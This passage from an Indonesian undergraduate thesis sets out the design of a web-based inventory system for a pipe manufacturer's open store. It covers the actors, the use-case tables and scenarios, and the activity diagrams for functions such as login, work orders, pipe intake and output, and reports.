Laporan_Stok_pipa

Laporan_Reproduksi_pipa

1. Menyerahkan_Laporan _pipa_jadi

6. Menyerahkan_data_

Rerproduksi_pipa

Foreman_Lapagan

Adm_OS

2. Memberikan_dokumen

_pipa_jadi

Tallyman

Manager

3.Input_data_

pipa_masuk

4. memasukkan data work order

7. Input_data_reproduksi_pipa

9. Laporan_data_ketersediaan_pipa

8. Cek_ketersediaan_pipa

Marketing

Gambar 4.5 Rich Picture Sistem Inventory Open Store yang diusulkan

Page 120: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Tabel 4.1 Analisa Perbandingan

Sistem yang berjalan Sistem yang di usulkan

Kekurangan Belum memiliki proses pengolahan data yang

terkomputerisasi.

Karyawan mengalami kesulitan dalam proses sortir

pipa yang disesuaikan dengan adanya work order

atau surat perintah produksi dari manager sehingga

karyawan akan menunggu surat tersebut dari

manager, kemudian pipa yang masuk ke dalam Open

Store baru bisa di sortir atau di pisahkan, mana yang

menjadi stok ataupun pipa yang sudah di pesan.

informasi data stok pipa yang sering tidak relevan dan

membutuhkan proses lama bila ingin mengetahui

stock.

Page 121: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

95

Penyajian laporan pada aplikasi yang memakan

waktu lama dan dalam memproses rekapitulasi

laporan periode bulan tertentu

Kelebihan Aplikasi pengolahan data disesuaikan dengan kebutuhan

pengolahan data.

Dengan dibuatnya aplikasi baru, terdapat menu untuk

work order yang bisa di lihat langsung oleh admin OS

untuk dapat langsung sortir pipa yang akan di jadikan stok

dan yang sudah menjadi pesanan oleh konsumen sehingga

tidak perlu menunggu surat perintah berdasarkan work

order yang akan di keluarkan oleh manager.

informasi data stok pipa dengan proses yang cepat dan

Page 122: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

tepat.

Menyajikan laporan-laporan yang dapat diakses tepat

waktu dan sesuai yang diinginkan oleh manager.

Page 123: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

97

4.4 Design

Dari analisa sistem berjalan di atas, maka peneliti memberikan beberapa usulan

yang dapat menjadi solusi masalah sesuai dengan perumusan masalah yang telah

disebutkan pada bab 1. Solusi yang peneliti tawarkan memiliki tujuan yang dapat

diuraikan sebagai berikut:

1. Mengembangkan aplikasi Sistem Inventory Management Open Store yang

berbasiskan Web base, sehingga memudahkan pengguna dalam mendapatkan hal-

hal yang bernghubungan dengan proses bisnis perusahaan khususnya pada bagian

Inventory Open Store.

2. Aplikasi terdiri dari 4 akses utama yakni, akses yang hanya diperuntukkan untuk

manager, Tallyman, admin OS dan marketing.

3. Mengurangi kompleksitas komunikasi keempat user sehingga dapat fokus dalam

satu tugas area.

4. Menyediakan fitur-fitur admin OS dalam proses pelaporan.

5. Menyediakan fitur-fitur yang membantu manager dalam memperoleh data dan

informasi yang dibutuhkan dalam pengambilan keputusan.

Setelah solusi penawaran di atas, peneliti akan memaparkan analisa sistem yang

diusulkan dengan metodologi RAD dengan menggunakan tools UML, sebagai berikut:

4.4.1 Use Case Diagram

Use case adalah sebuah alat bantu guna menstimulasi pengguna untuk mengatakan

tentang suatu sistem dari sudut pandangnya. Berikut ini adalah use case diagram sistem

inventory:

Page 124: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Tabel 4.2 Identifikasi Actor

No Actor Description

1 Admin_OS Aktor yang mengatur data-data pipa yang

akan diproduksi dari inventory open store

2 Manager Aktor yang dapat melihat laporan dari

sistem, laporan tersebut berupa laporan pipa

masuk, laporan pipa keluar, stok pipa dan

laporan lainnya.

3 Tallyman Aktor yang memiliki hak akses untuk

melihat data stok pipa yang tersedia dan

reeproduksi pipa di dalam open store

4 Marketing Aktor yang memiliki akses untuk

memasukkan data work order dan

memasukkan data pembeli.

4.4.1.1 Identifikasi Use Case

Tabel 4.3 Identifikasi Use Case

No Use Case Name Description Actor

1 Login Use case menggambarkan kegiatan

memasukkan username dan password

untuk mengakses sistem.

Admin_OS,

Manager,

Tallyman,

Marketing

2 Manage User Use case menggambarkan kegiatan

add, delete, edit data user pada sistem

Admin_OS

Page 125: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

99

3 Input data pipa

masuk

Pengguna dapat menambah,

mengubah dan menghapus data pipa

yang masuk ke bagian open store

Admin_OS

4 Input data Barang Pengguna dapat menambah,

mengubah dan menghapus data pipa

yang masuk ke bagian open store

Admin_OS

5 Input data pipa

keluar

Use case menggambarkan kegiatan

input, edit, dan delete data pipa

keluar yang ada dalam bagian open

store

Admin_OS

6 Input data Pembeli Use case menggambarkan kegiatan

input, edit, delete data pembeli.

Admin_OS,

Marketing

7 Input data

Reproduksi

Use case menggambarkan kegiatan

input, edit, delete data reproduksi

pipa yang ada dalam open store

Admin_OS,

tallyman

8 Work Order Use case ini menggambarkan

kegiatan input, edit, delete data Work

order

Admin_OS,

marketing

9 Laporan Pipa Masuk Use case menggambarkan kegiatan

melihat laporan data pipa masuk

berdasarkan tanggal periode tertentu.

Admin_OS,

manager

10 Laporan pipa keluar Use case ini menggambarkan

kegiatan melihat laporan data pipa

keluar berdasarkan tanggal periode

Admin_OS,

manager

Page 126: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

tertentu.

11 Laporan data

Pembeli

Use case menggambarkan kegiatan

melihat laporan data pembeli

berdasarkan tangggal periode

tertentu.

Admin_OS,

Manager

12 Laporan Work Order Use case ini menggambarkaan

kegiatan melihat laporan data work

order berdasarkan tanggal periode

tertntu.

Admin_OS,

Manager

13 Laporan data stok

pipa

Use case ini menggambarkan

kegiatan melihat laporan data

reproduksi berdasarkan tanggal

periode tertentu.

Admin_OS,

Manager

14 Laporan Work Order Use case ini menggambarkan

kegiatan melihat laporan data work

order berdasarkan tanggal periode

tertentu.

Admin_OS,

Manager

15 Cek Barang Use case ini menggambarkan

kegiatan laporan data ready stock

pipa

Admin OS,

Tallyman

Page 127: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

101

Gambar 4.6 Use Case Sistem Inventory Management Open Store

4.4.2 Use Case Scenario

Proses yang terjadi pada gambar lebih lanjut dijelaskan secara rinci pada tabel :

Manager

tallyman

Admin_OS

login

Cek Barang

Laporan pipa Masuk

Logout

Laporan Pipa Keluar

Laporan Work Order

Laporan Data Pembeli

Laporan Reproduksi Pipa

<<include>>

Input Data Pipa Masuk

Input Data Pembeli

Input Reproduksi Pipa

Input Data Pipa Keluar

Input Work Order

<<depends on>>

<<depends on>>

<<depends on>>

<<depends on>>

Manage user

Laporan Stok Pipa

<<depends on>>

Marketing

<<depends on>>

<<depends on>>

<<depends on>>

<<depends on>>

<<depends on>>

<<depends on>><<depends on>>

Page 128: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

4.4.2.1 Use Case Scenario Login

Tabel 4.4 Use Case Scenario Login

Use case name Login

Use case id 1

Actor All User

Description Use case mendeskripsikan kegiatan input username

dan password untuk mengakses sistem

Pre condition -

Trigger Pengguna ingin mengakses sistem

Typical course of events Actor action System response

1. Input username dan

password

2. Klik login

3. Cek username dan

password

4. Memasuki halaman

sesuai hak akses

Alternate course Alt-step 3: jika salah, sistem akan menampilkan pesan

username atau password salah, maka akan kembali ke

halaman login

Conclusion Admin_Os, manager, Marketing dan tallyman dapat

Page 129: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

103

mengakses sistem

Post condition Halaman utama

4.4.2.2 Use Case Scenario Manage User

Tabel 4.5 Use Case Scenario Manage User

Use case name Manage User

Use case id 2

Actor Admin_OS

Description Use case mendeskripsikan kegiatan mengelola user,

yaitu menambah, mengedit, atau menghapus data user

Pre condition Login

Trigger Admin akan menambah atau menghapus user

Typical course of events Actor action System response

Step 1: input form user

Step 2: klik Simpan

Step 3: data user

tersimpan dalam

database dan tampil

update User

Alternate course Alt-step 1.a: klik Edit

Page 130: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Alt-step 2.a: tampil form edit user

Alt-step 3.a: klik simpan data berhasil di edit dan

tampil update User

Alt-step 1.b: klik Delete

Alt-step 2.b : muncul pertanyaan yakin ingin dihapus?

Alt-step 3 b: jika memilih ya, data langsung terhapus,

jika tidak, data batal dihapus.

Conclusion Admin telah menambah, mengedit, atau menghapus

data user.

Post condition -

4.4.2.3 Use Case Scenario Input Work Order

Tabel 4.6 Use Case Scenario Input Work Order

Use case name Input Work Order

Use case id 3

Actor Marketing

Description Use case mendeskripsikan kegiatan memasukkan data

work order

Page 131: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

105

Pre condition Login

Trigger Marketing akan memasukkan data work order

Typical course of events Actor action System response

Step 1: input form work

order

Step 2: klik simpan

Step 3: data tersimpan

dalam database dan

tampil update work order

Alternate course Alt-step 1.a: klik Edit

Alt-step 2.a: tampil form edit work order

Alt-step 3.a: klik simpan data berhasil di edit dan

tampil update work order

Alt-step 1.b: klik Delete

Alt-step 2.b : muncul pertanyaan yakin ingin dihapus?

Alt-step 3 b: jika memilih ya, data langsung terhapus,

jika tidak, data batal dihapus.

Alt-step 4: jika data ada yang kurang, sistem akan

menampilkan pesan untuk melengkapi data.

Conclusion Marketing telah memasukkan data work order

Post condition Marketing, Admin_OS dan Manager dapat lihat

Laporan work order

Page 132: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

4.4.2.4 Use Case Scenario Input Data Pembeli

Tabel 4.7 Use Case Scenario Input Data Pembeli

Use case name Input Data Pembeli

Use case id 4

Actor Marketing

Description Use case mendeskripsikan kegiatan memasukkan data

pembeli

Pre condition input work order

Trigger Marketing akan memasukkan data pembeli

Typical course of events Actor action System response

Step 1: input form data

pembeli

Step 2:klik Simpan

Step 3: data tersimpan

dalam database dan

tampil update pembeli

Alternate course Alt-step 1.a: klik Edit

Alt-step 2.a: tampil form edit pembeli

Alt-step 3.a: klik simpan data berhasil di edit dan

tampil update pembeli

Alt-step 1.b: klik Delete

Page 133: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

107

Alt-step 2.b : muncul pertanyaan yakin ingin dihapus?

Alt-step 3 b: jika memilih ya, data langsung terhapus,

jika tidak, data batal dihapus.

Alt-step 4: jika data ada yang kurang, sistem akan

menampilkan pesan untuk melengkapi data.

Conclusion Marketing telah menambahkan data pembeli

Post condition Marketing, Admin_OS dan Manager dapat lihat

halaman Laporan data Pembeli

4.4.2.5 Use Case Scenario Input Data Pipa Masuk

Tabel 4.8 Use Case Scenario Input Data Pipa Masuk

Use case name Input Data Pipa Masuk

Use case id 5

Actor Admin_OS

Description Use case mendeskripsikan kegiatan input data pipa

masuk

Pre condition input work order , input pipa keluar

Trigger Admin_OS akan memasukkan data pipa masuk

Page 134: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Typical course of events Actor action System response

Step 1: input form data

pipa masuk

Step 2:klik Simpan

Step 3: data tersimpan

dalam database dan

tampil update pipa masuk

Alternate course Alt-step 1.a: klik Edit

Alt-step 2.a: tampil form edit pipa masuk

Alt-step 3.a: klik simpan data berhasil di edit dan

tampil update pipa masuk

Alt-step 1.b: klik Delete

Alt-step 2.b : muncul pertanyaan yakin ingin dihapus?

Alt-step 3 b: jika memilih ya, data langsung terhapus,

jika tidak, data batal dihapus.

Alt-step 4 : jika data ada yang kurang, sistem akan

menampilkan pesan untuk melengkapi data

Conclusion Admin_OS telah menambahkan data pipa masuk

Post condition Admin_OS dan Manager dapat lihat laporan data pipa

masuk

Page 135: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

109

4.4.2.6 Use Case Scenario Input Data Pipa Keluar

Tabel 4.9 Use Case Scenario Input Data Pipa Keluar

Use case name Input Data Pipa Keluar

Use case id 6

Actor Admin_OS

Description Use case mendeskripsikan kegiatan mengeluarkan

pipa

Pre condition laporan work order

Trigger Admin_OS akan memasukkan data pipa keluar

Typical course of events Actor action System response

Step 1: input form pipa

keluar

Step 2: klik simpan

Step 3: data tersimpan

dalam database dan

tampil update pipa keluar

Alternate course Alt-step 1.a: klik Edit

Alt-step 2.a: tampil form edit pipa keluar

Alt-step 3.a: klik simpan data berhasil di edit dan

tampil update pipa keluar

Alt-step 1.b: klik Delete

Page 136: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Alt-step 2.b : muncul pertanyaan yakin ingin dihapus?

Alt-step 3 b: jika memilih ya, data langsung terhapus,

jika tidak, data batal dihapus.

Alt-step 4: jika data ada yang kurang, sistem akan

menampilkan pesan untuk melengkapi data.

Conclusion Admin_OS telah memasukkan data pipa keluar

Post condition Admin_OS dan Manager dapat lihat Laporan data

pipa keluar

4.4.2.7 Use Case Scenario Input Reproduksi Pipa

Tabel 4.10 Use Case Scenario Input Reproduksi Pipa

Use case name Input Reproduksi Pipa

Use case id 7

Actor Tallyman

Description Use case mendeskripsikan kegiatan memasukkan data

reproduksi

Pre condition Login

Page 137: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

111

Trigger Tallyman akan memasukkan data reproduksi

Typical course of events Actor action System response

Step 1: input form

reproduksi

Step 2: klik Simpan

Step 3: data tersimpan

dalam database dan

tampil update reproduksi

Alternate course Alt-step 1.a: klik Edit

Alt-step 2.a: tampil form edit reproduksi pipa

Alt-step 3.a: klik simpan data berhasil di edit dan

tampil update reproduksi

Alt-step 1.b: klik Delete

Alt-step 2.b : muncul pertanyaan yakin ingin dihapus?

Alt-step 3 b: jika memilih ya, data langsung terhapus,

jika tidak, data batal dihapus.

Alt-step 4: jika data ada yang kurang, sistem akan

menampilkan pesan untuk melengkapi data.

Conclusion Tallyman telah menambahkan data reproduksi

Post condition Admin_OS dan Manager dapat melihat Laporan

reproduksi

Page 138: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

4.4.2.8 Use Case Scenario Laporan Pipa Masuk

Tabel 4.11 Use Case Scenario Laporan Pipa Masuk

Use case name Laporan Pipa Masuk

Use case id 8

Actor Manager dan Admin_OS

Description Use case mendeskripsikan kegiatan melihat laporan

pipa masuk.

Pre condition input pipa masuk

Trigger Ada pipa yang telah di masukkan ke dalam open store

Typical course of events Actor action System response

Step 1: pilih tanggal,

bulan dan tahun

berdasarkan periode yang

diinginkan

Step 2: klik search

Step 3: jika periode sudah

dipilih, sistem akan

menampilkan laporan

pipa masuk

Step 4 : Klik Print

Alternate course Alt-step 3: jika user belum memilih tanggal, bulan

dan tahun berdasarkan periode yang diinginkan maka

laporan tidak dapat ditampilkan.

Page 139: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

113

Conclusion Admin_OS dan Manager telah melihat laporan pipa

masuk

Post condition -

4.4.2.9 Use Case Scenario Laporan Data Pembeli

Tabel 4.12 Use Case Scenario Laporan Data Pembeli

Use case name Laporan Data Pembeli

Use case id 9

Actor Manager dan Admin_OS

Description Use case mendeskripsikan kegiatan melihat laporan

data pembeli.

Pre condition input data pembeli

Trigger Ada data pembeli yang telah di masukkan

Typical course of events Actor action System response

Step 1: pilih tanggal,

bulan dan tahun

berdasarkan periode yang

Step 3: Jika periode

sudah sesuai, sistem

akan menampilkan

Page 140: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

diinginkan

Step 2: klik search

laporan pembeli

Step 4 : Klik Print

Alternate course Alt-step 3: jika user belum memilih tanggal, bulan

dan tahun berdasarkan periode yang diinginkan maka

laporan tidak dapat ditampilkan.

Conclusion Admin_OS dan Manager telah melihat laporan data

pembeli

Post condition -

4.4.2.10 Use Case Scenario Laporan Reproduksi Pipa

Tabel 4.13 Use Case Scenario Laporan Reproduksi Pipa

Use case name Laporan Reproduksi Pipa

Use case id 10

Actor Manager dan Admin_OS

Description Use case mendeskripsikan kegiatan melihat laporan

reproduksi pipa.

Pre condition input reproduksi pipa

Page 141: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

115

Trigger Ada pipa yang telah direproduksi

Typical course of events Actor action System response

Step 1: pilih tanggal,

bulan dan tahun

berdasarkan periode yang

diinginkan

Step 2: klik search

Step 3: jika periode sudah

sesuai, sistem akan

menampilkan laporan

reproduksi pipa

Step 4 : Klik Print

Alternate course Alt-step 3: jika user belum memilih tanggal, bulan

dan tahun berdasarkan periode yang diinginkan maka

laporan tidak dapat ditampilkan.

Conclusion Admin_OS dan Manager telah melihat laporan pipa

masuk

Post condition -

Page 142: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

4.4.2.11 Use Case Scenario Laporan Pipa Keluar

Tabel 4.14Use Case Scenario Laporan Pipa Keluar

Use case name Laporan Pipa Keluar

Use case id 11

Actor Manager dan Admin_OS

Description Use case mendeskripsikan kegiatan melihat laporan

pipa keluar.

Pre condition input pipa keluar

Trigger Ada pipa yang telah dikeluarkan

Typical course of events Actor action System response

Step 1: pilih tanggal,

bulan dan tahun

berdasarkan periode yang

diinginkan

Step 2: klik search

Step 3: Jika periode

sudah sesuai, sistem akan

menampilkan laporan

pipa keluar

Step 4 : Klik Print

Alternate course Alt-step 3: jika user belum memilih tanggal, bulan

dan tahun berdasarkan periode yang diinginkan maka

laporan tidak dapat ditampilkan.

Page 143: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

117

Conclusion Admin_OS dan Manager telah melihat laporan pipa

keluar

Post condition -

4.4.2.12 Use Case Scenario Laporan Work Order

Tabel 4.15 Use Case Scenario Laporan Work Order

Use case name Laporan Work Order

Use case id 12

Actor Manager dan Admin_OS

Description Use case mendeskripsikan kegiatan melihat laporan

work order.

Pre condition input work order

Trigger Ada pipa yang telah dipesan/ dijadikan work order

Typical course of events Actor action System response

Step 1: pilih tanggal,

bulan dan tahun

Step 3: Jika periode yang

dipilih sudah sesuai,

Page 144: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

berdasarkan periode yang

diinginkan

Step 2: klik search

sistem akan menampilkan

laporan work order

Step 4: Klik Print

Alternate course Alt-step 3: jika user belum memilih tanggal, bulan

dan tahun berdasarkan periode yang diinginkan maka

laporan tidak dapat ditampilkan.

Conclusion Admin_OS dan Manager telah melihat laporan work

order

Post condition -

4.4.2.13 Use Case Scenario Laporan Stok Pipa

Tabel 4.16 Use Case Scenario Laporan Stok Pipa

Use case name Laporan Stok Pipa

Use case id 13

Actor Marketing, Manager dan Admin_OS

Description Use case mendeskripsikan kegiatan melihat laporan

Stok pipa.

Pre condition input pipa masuk, input pipa keluar, dan input

reproduksi pipa.

Page 145: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

119

Trigger Ada pipa-pipa yang telah diinputkan

Typical course of events Actor action System response

Step 1: pilih tanggal,

bulan dan tahun

berdasarkan periode yang

diinginkan

Step 2: klik search

Step 3: Jika periode yang

diisi sudah sesuai, sistem

akan menampilkan

laporan stok pipa

Step 4: Klik Print

Alternate course Alt-step 3: jika user belum memilih tanggal, bulan dan

tahun berdasarkan periode yang diinginkan maka

laporan tidak dapat ditampilkan.

Conclusion Admin_OS dan Manager telah melihat laporan stok

pipa

Post condition -

4.4.2.14 Use Case Scenario Cek Barang

Tabel 4.17 Use Case Scenario Cek Barang

Use case name Cek Barang

Use case id 14

Page 146: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Actor Tallyman dan Admin_OS

Description Use case mendeskripsikan kegiatan melihat

ketersediaan pipa.

Pre condition Login

Trigger Ada pipa yang telah dimasukkan

Typical course of events Actor action System response

Step 1: pilih cek barang Step 2: sistem akan

menampilkan

ketersediaan pipa

Alternate course -

Conclusion Admin_OS dan tallyman telah melihat ketersediaan

pipa

Post condition -

4.4.2.15 Use Case Scenario Logout

Tabel 4.18 Use Case Scenario Logout

Use case name Logout

Page 147: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

121

Use case id 15

Actor All User

Description Use case mendeskripsikan kegiatan keluar dari sistem

Pre condition Login

Trigger Pengguna ingin keluar sistem

Typical course of events Actor action System response

Step 1: Klik logout Step 2: Menampilkan

pesan terima kasih

Alternate course -

Conclusion All User telah keluar sistem

Post condition Pesan Terima Kasih

4.4.3 Activity Diagram

Berikut adalah beberapa diagram aktivitas yang terbentuk dari kegiatan bisnis

dan use case diagram yang pada sistem yang diusulkan:

Page 148: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Data

Valid

Mulai

Data

Tidak Valid

Selesai

All User Sistem

Input username dan password

Klik login cek username dan password

Menampilkan Halaman Home Sistem

Menampilkan pesan

username atau password salah

Gambar 4.7 Activity diagram dari use case login

Pada gambar 4.7 menerangkan admin_os, manager dan tallyman masuk ke

halaman home sistem. Mereka harus melakukan pengisian username dan password

pada menu login. Jika username dan password yang dimasukkan salah, maka sistem

akan menampilkan pesan salah. Dan jika benar, maka sistem akan menampilkan

halaman home sistem.

Page 149: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

123

Mulai

Selesai

Admin_OS Sistem

input form user

Klik edit

Klik Delete

tampil form edit user

Edit data user

klik simpan

Tampil update user

Yakin ingin

dihapus?

ya

tidak

Gambar 4.8 Activity diagram untuk manage user

Gambar 4.8 ini menerangkan tentang mengelola user dengan menambah, mengedit,

atau menghapus data user. Untuk menambah user, Admin harus klik manage user

sehingga sistem akan menampilkan form input user. Admin menginput form tersebut, lalu

klik Simpan. Untuk mengedit data user, Admin harus klik Edit sehingga sistem akan

menampilkan form edit user kemudian Admin_OS mengedit data user yang diperlukan,

lalu klik Simpan. Sistem akan menyimpan data dalam database. Untuk menghapus data

user, Admin harus klik Hapus sehingga sistem akan menghapus data user dari database.

Jika data user berhasil ditambah, diedit, atau dihapus, sistem akan kembali menampilkan

update User.

Page 150: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Mulai

Selesai

Marketing Sistem

input form work order

Klik edit

Klik Delete

tampil form edit work order

Edit data work order

klik simpan

Tampil update work order

Pesan lengkapi data

Data

kurang

Data

Lengkap

iya

tidak

Yakin ingin

dihapus?

Gambar 4.9 Activity diagram untuk input work order

Gambar 4.9 menjelaskan tentang menambah, mengedit, atau menghapus data

work order. Untuk menambah work order, Marketing harus mengisi semua form yang

ditampilkan oleh sistem, lalu klik Simpan. Untuk mengedit data work order, Marketing

harus klik Edit sehingga sistem akan menampilkan form edit work order kemudian

Marketing mengedit data work order yang diperlukan, lalu klik Simpan. Sistem akan

menyimpan data dalam database. Untuk menghapus data work order, Marketing harus

klik Hapus sehingga sistem akan menghapus data work order dari database. Jika data

Page 151: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

125

Mulai

Selesai

Marketing Sistem

input form pembeli

Klik edit

Klik Deletetampil form edit pembeli

Edit data pembeli

klik simpan

Tampil update pembeli

Yakin ingin

dihapus?

ya

tidak

pesan lengkapi data

Data

kurang

Data

Lengkap

work order berhasil ditambah, diedit, atau dihapus, sistem akan kembali menampilkan

update work order.

Gambar 4.10 Activity diagram untuk input data pembeli

Gambar 4.10 menjelaskan tentang menambah, mengedit, atau menghapus data

pembeli. Untuk menambah pembeli, Marketing harus mengisi semua form yang

ditampilkan oleh sistem, lalu klik Simpan. Untuk mengedit data pembeli, Marketing

harus klik Edit sehingga sistem akan menampilkan form edit pembeli kemudian

Marketing mengedit data pembeli yang diperlukan, lalu klik Simpan. Sistem akan

menyimpan data dalam database. Untuk menghapus data pembeli, Marketing harus klik

Page 152: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Mulai

Selesai

Admin_OS Sistem

input form pipa masuk

Klik edit

Klik Deletetampil form edit pipa masuk

Edit data pipa masuk

klik simpan

Tampil update pipa masuk

Yakin ingin

dihapus?

ya

tidak

Pesan lengkapi data

Data

Lengkap

Data

kurang

Hapus sehingga sistem akan menghapus data pembeli dari database. Jika data pembeli

berhasil ditambah, diedit, atau dihapus, sistem akan kembali menampilkan update

pembeli.

Gambar 4.11 Activity diagram untuk input data pipa masuk

Gambar 4.11 menjelaskan tentang menambah, mengedit, atau menghapus data

pipa masuk. Untuk menambah pipa masuk, Admin_OS harus mengisi semua form yang

ditampilkan oleh sistem, lalu klik Simpan. Untuk mengedit data pipa masuk, Admin_OS

harus klik Edit sehingga sistem akan menampilkan form edit pipa masuk kemudian

Page 153: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

127

Mulai

Selesai

Admin_OS Sistem

input form pipa keluar

Klik edit

Klik Deletetampil form edit pipa keluar

Edit data pipa keluar

klik simpan

Tampil update pipa keluar

Yakin ingin

dihapus?

ya

tidak

pesan lengkapi data

Data

kurang

Data

lengkap

Admin_OS mengedit data pipa masuk yang diperlukan, lalu klik Simpan. Sistem akan

menyimpan data dalam database. Untuk menghapus data pipa masuk, Admin_OS harus

klik Hapus sehingga sistem akan menghapus data pipa masuk dari database. Jika data

pipa masuk berhasil ditambah, diedit, atau dihapus, sistem akan kembali menampilkan

update pipa masuk.

Page 154: RANCANG BANGUN SISTEM INVENTORY …repository.uinjkt.ac.id/dspace/bitstream/123456789/27701/1/... · bidang manufakturing pipa. Karena begitu banyaknya jumlah yang diproduksi oleh

Mulai

Selesai

Tallyman Sistem

input form reproduksi pipa

Klik edit

Klik Deletetampil form edit reproduksi pipa

Edit data reproduksi pipa

klik simpan

Tampil update reproduksi pipa

Yakin ingin

dihapus?

ya

tidak

Pesan lengkapi data

Data

kurang

Data

lengkap

Gambar 4.12 Activity diagram untuk input data pipa keluar

Gambar 4.12 Gambar diatas menjelaskan tentang menambah, mengedit, atau

menghapus data pipa keluar. Untuk menambah pipa keluar, Admin_OS harus mengisi

semua form yang ditampilkan oleh sistem, lalu klik Simpan. Untuk mengedit data pipa

keluar, Admin_OS harus klik Edit sehingga sistem akan menampilkan form edit pipa

keluar kemudian Admin_OS mengedit data pipa keluar yang diperlukan, lalu klik

